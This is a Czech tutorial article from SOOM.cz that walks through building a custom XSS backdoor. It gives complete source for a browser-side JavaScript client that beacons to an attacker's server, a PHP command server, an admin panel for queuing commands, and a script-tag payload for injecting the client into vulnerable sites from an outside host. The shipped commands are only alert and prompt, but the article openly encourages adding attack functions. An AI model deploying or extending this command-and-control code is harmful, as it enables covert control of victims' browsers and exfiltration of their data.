Zpět na seznam článků     Číst komentáře (4)     Verze pro tisk

Tvorba vlastního XSS backdooru

Autor: .cCuMiNn.   
6.4.2011

Po úvodních článcích věnovaných XSS backdoorům, ve kterých jsme si představili nástroje BeEF a XSS Shell, přišel čas, abychom se tomuto druhu aplikací podívali pod kapotu a vytvořili si konečně svůj vlastní XSS backdoor.


V uvedených článcích jsme si již řekli, že aplikace typu XSS backdoor je postavena na bázi klient-server. Klienta přitom představuje kód JavaScriptu spuštěný ve webovém prohlížeči, který v pravidelných intervalech odesílá na webový server útočníka HTTP požadavky. Pomocí proměnných v jednotlivých requestech může předávat data na stranu serveru a z odpovědí vrácených na zaslané požadavky může získávat příkazy připravené útočníkem.

Samotné odesílání požadavků na straně klienta je nejjednodušší zařídit využitím funkce setInterval(), která se postará o provedení akce v pravidelných intervalech a objektu XMLHttpRequest (respektive XdomainRequest), který zařídí skryté odesílání požadavků na pozadí napadené webové aplikace. Samotný kód klienta, který disponuje útočnými funkcemi omezenými pouze na alert a prompt, je opravdu velice jednoduchý. Prohlédnout si jej můžete v následujícím výpisu.


  1. <?php
  2.   @session_start();
  3.   header("Content-Type: text/javascript");
  4. ?>
  5. function pozdrav() {alert("Ahoj uživateli")}
  6. function dotaz() {odpoved = prompt("Jak se jmenuješ?")}
  7.  
  8. function sendXMLHttpRequest(answ) {
  9.   answ = answ?"&odpoved="+answ:"";
  10.   xhr = window.XDomainRequest?new XDomainRequest():new XMLHttpRequest();
  11.   if (xhr) {
  12.     xhr.open("GET", "http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyserver.php?idclient=<?php echo session_id(); ?>" + answ, true);
  13.     xhr.onload = zpracujOdpoved;
  14.     xhr.send(null);
  15.     odpoved="";
  16.   }
  17. }
  18.  
  19. function zpracujOdpoved() {
  20.   var prikaz = xhr.responseText;
  21.   if (prikaz == "pozdrav") pozdrav();
  22.   if (prikaz == "dotaz") dotaz();
  23. }
  24.  
  25. var odpoved = "";
  26. setInterval("sendXMLHttpRequest(odpoved)", 5000);

Stejně jednoduchý je také kód serverové části XSS backdooru. Tu je možné založit na použití databáze, nebo souborů. Já zvolil použití souborů, přičemž každému z klientů jsou přiřazeny soubory s příponou .dat (slouží jako zdroj informací o čase posledního přístupu klienta a o jeho IP adrese), .out (obsahuje příkazy zadané útočníkem) a .in (obsahuje odpovědi klienta). Vzhledem k tomu, že jsou při použití XSS backdooru jednotlivé požadavky zasílány napříč doménami, je důležité použití HTTP hlavičky Access-Control-Allow-Origin: povolující komunikaci s jinou doménou.


  1. <?php
  2.   header("Cache-Control: no-cache");
  3.   header("Pragma: no-cache");
  4.   header('Access-Control-Allow-Origin: *');
  5.   if (empty($_GET["idclient"])) exit(0);
  6.   $idclient = trim($_GET["idclient"]);
  7.   if (!ereg("^[a-zA-Z0-9]{8,40}$", $idclient)) exit(0);
  8.   if (isset($_GET["odpoved"]))
  9.     file_put_contents("clients/$idclient.in", htmlspecialchars($_GET["odpoved"])."\n<br>\n", FILE_APPEND);
  10.   if (getenv('HTTP_X_FORWARDED_FOR'))
  11.     $ipel = htmlspecialchars(trim(getenv('REMOTE_ADDR').'/'.getenv('HTTP_X_FORWARDED_FOR')));
  12.   else
  13.     $ipel = htmlspecialchars(trim(getenv('REMOTE_ADDR')));
  14.   file_put_contents("clients/$idclient.dat", $ipel);
  15.   if (file_exists("clients/$idclient.out") && trim(file_get_contents("clients/$idclient.out")) != '') {
  16.     readfile("clients/$idclient.out");
  17.   }
  18.   file_put_contents("clients/$idclient.out", "");
  19. ?>

Ačkoliv již máme vytvořeny obě části XSS backdooru (klienta i server), stále nám ještě něco chybí. Tou chybějící částí skládanky je administrační rozhraní, pomocí kterého může útočník zadávat příkazy jednotlivým klientům a číst jejich odpovědi. Kód této části aplikace zobrazuje následující výpis.


  1. <?php
  2.   $idClient = htmlspecialchars(trim($_GET["idClient"]));
  3.   $command = htmlspecialchars(trim($_GET["command"]));
  4.  
  5.   if (!empty($idClient) && empty($command))
  6.     $visibility = '';
  7.   else
  8.     $visibility = 'none';
  9.  
  10.   if (!empty($idClient) && !empty($command) && ereg("^[a-zA-Z0-9]{8,40}$", $idClient)) {
  11.     if (file_exists("clients/".$idClient.".dat"))
  12.     file_put_contents("clients/".$idClient.".out", $command);
  13.  
  14.     $refresh=";url=".$_SERVER['SCRIPT_NAME'];
  15.   }
  16. ?>
  17. <html>
  18.   <head>
  19.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  20.     <meta http-equiv="Refresh" content="4<?php echo $refresh; ?>">
  21.     <link rel="StyleSheet" href="/base.css" type="text/css">
  22.     <title>XSS backdoor admin</title>
  23.   </head>
  24.   <body>
  25.     <div align="center">
  26.     <table border="0">
  27.       <tr>
  28.         <td style="width:200px"></td><td style="width:468px"></td><td style="width:200px"></td>
  29.       </tr>
  30.       <tr>
  31.         <td colspan="3" align="center" style="background-color:#0F0F0F">
  32.           <img src="/images/banners/banner_static1.jpg"><br>
  33.           <h2>XSS backdoor admin</h2>
  34.         </td>
  35.       </tr>
  36.       <tr>
  37.         <td align="center" style="background-color:#0F0F0F">
  38.        
  39.           <?php
  40.             foreach (glob("clients/*.*") as $filename) {
  41.               if ((time() - filectime($filename)) >= 500) unlink($filename);
  42.             }
  43.             foreach (glob("clients/*.dat") as $filename) {
  44.               $ipAddress = file_get_contents($filename);
  45.               $idClientFile = substr($filename, 8, strlen($filename)-12);
  46.               if ((time() - filectime($filename)) >= 15) {
  47.                 unlink($filename);
  48.                 if (file_exists("clients/".$idClientFile.".out")) unlink ("clients/".$idClientFile.".out");
  49.                 if (file_exists("clients/".$idClientFile.".in"))  unlink ("clients/".$idClientFile.".in");
  50.               }
  51.               echo "<a href='?idClient=$idClientFile'>$ipAddress</a><br>";
  52.               echo "<small>".StrFTime("%d.%m.%Y %H:%M", filectime($filename))."<br>";
  53.               if (file_exists("clients/".$idClientFile.".out")) {
  54.                 readfile("clients/".$idClientFile.".out");
  55.               }
  56.               echo "</small><br>";
  57.             }
  58.           ?>
  59.          
  60.         </td>
  61.         <td align="center">
  62.           <?php if (file_exists("clients/".$idClient.".in")) readfile("clients/".$idClient.".in"); ?>
  63.         </td>
  64.         <td align="center" style="background-color:#0F0F0F">
  65.           <br>
  66.           <form method="GET" style="display:<?php echo($visibility); ?>">
  67.             <select name="command" size="2" style="width:100px">
  68.               <option value="pozdrav">pozdrav
  69.               <option value="dotaz">dotaz
  70.             </select>
  71.             <input type="hidden" id="idClient" name="idClient" value="<?php echo $idClient; ?>"><br><br>
  72.             <input type="submit" value="Ulož příkaz" style="width:100px"><br><br>
  73.           </form>
  74.         </td>
  75.       </tr>
  76.     </table><br>
  77.     <a href="xssproxyklient.html" title="Testovací klient" target="_blank">Testovací klient</a>
  78.     </div>
  79.   </body>
  80. </html>

V praxi si celý XSS backdoor můžete vyzkoušet na webové adrese http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyadmin.php, kde najdete administrační rozhraní tohoto nástroje. Pro injektáž klientské části je nutné do zranitelné aplikace propašovat tento kód:


  1. <script src="http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyklient.php"></script>

Pokud se vám myšlenka vytvoření vlastního XSS backdooru líbí, můžete jej snadno rozšířit o další útočné funkce. Inspirovat se můžete například v sérii článků Útočný JavaScript, který naleznete rovněž zde na SOOM.cz.

Plánujeme také zprovoznění plnohodnotného XSS backdooru v podobě on-line projektu zde na SOOMu. Tohoto úkolu se ujal Fil-kun a myslím si proto, že se máme na co těšit.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1/8

1  2  3  4  5    
(známkování jako ve škole)